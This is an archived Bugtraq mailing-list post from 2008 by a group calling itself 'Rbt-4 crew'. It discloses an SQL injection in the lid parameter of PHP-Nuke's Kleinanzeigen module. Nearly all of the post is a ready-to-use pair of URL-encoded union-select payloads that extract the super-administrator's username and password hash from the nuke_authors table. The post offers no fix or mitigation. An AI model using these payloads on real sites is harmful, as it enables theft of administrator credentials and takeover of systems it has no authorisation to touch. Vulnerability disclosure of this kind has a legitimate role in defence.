[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
PHP-NUKE module Kleinanzeigen SQL injection (lid)
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: PHP-NUKE module Kleinanzeigen SQL injection (lid)
- From: lovebug@xxxxxxxxxx
- Date: Tue, 5 Aug 2008 19:43:39 -0600
##########################################################
# Rbt-4 crew
# http://www.rbt-4.net
# Author : Lovebug
#----------------------------
#
#
# Remote Sql injection Php-Nuke module name Kleinanzeigen
##########################################################
# modules.php?name=Kleinanzeigen&a_op=visit&lid=[sql]
#
# Exploit
#
# username :
-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Caid%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A
# pwd :
-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Cpwd%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A
##########################################################